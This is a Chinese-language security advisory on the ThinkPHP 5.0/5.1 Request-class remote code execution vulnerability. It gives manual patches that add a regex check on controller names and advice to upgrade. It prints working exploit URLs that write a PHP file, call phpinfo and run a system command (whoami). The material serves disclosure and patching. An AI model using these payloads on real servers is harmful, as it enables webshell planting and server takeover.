TP5核心类Request远程代码执行高危漏洞-THINKPHP5

ThinkPHP5.*版本发布安全更新

本次版本更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。

 

漏洞描述

由于ThinkPHP5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接GetWebShell。

 

漏洞注入方式

1.写入文件

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=***.php&vars[1][]=***

2.查看版本信息

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

解决办法

1.手动升级

5.1版本

thinkphp/library/think/route/dispatch/Url.php  类的parseUrl方法，解析控制器后加上   添加

 if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
     throw new HttpException(404, 'controller not exists:' . $controller);
 }

5.0版本

thinkphp/library/think/App.php  类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);

}

2.自动升级

进入到代码根目录 执行  composer  update

!注意:不推荐用这种方法直接升级，容易引起不兼容情况，如果必须特别想这样子升级修复的话 ，建议提前备份好代码。

 

目前thinkphp的 5.0(5.0.23) 以及 5.1(5.1.31) 的最新版本,已经修复此漏洞，建议大家项目都用目前最新版本。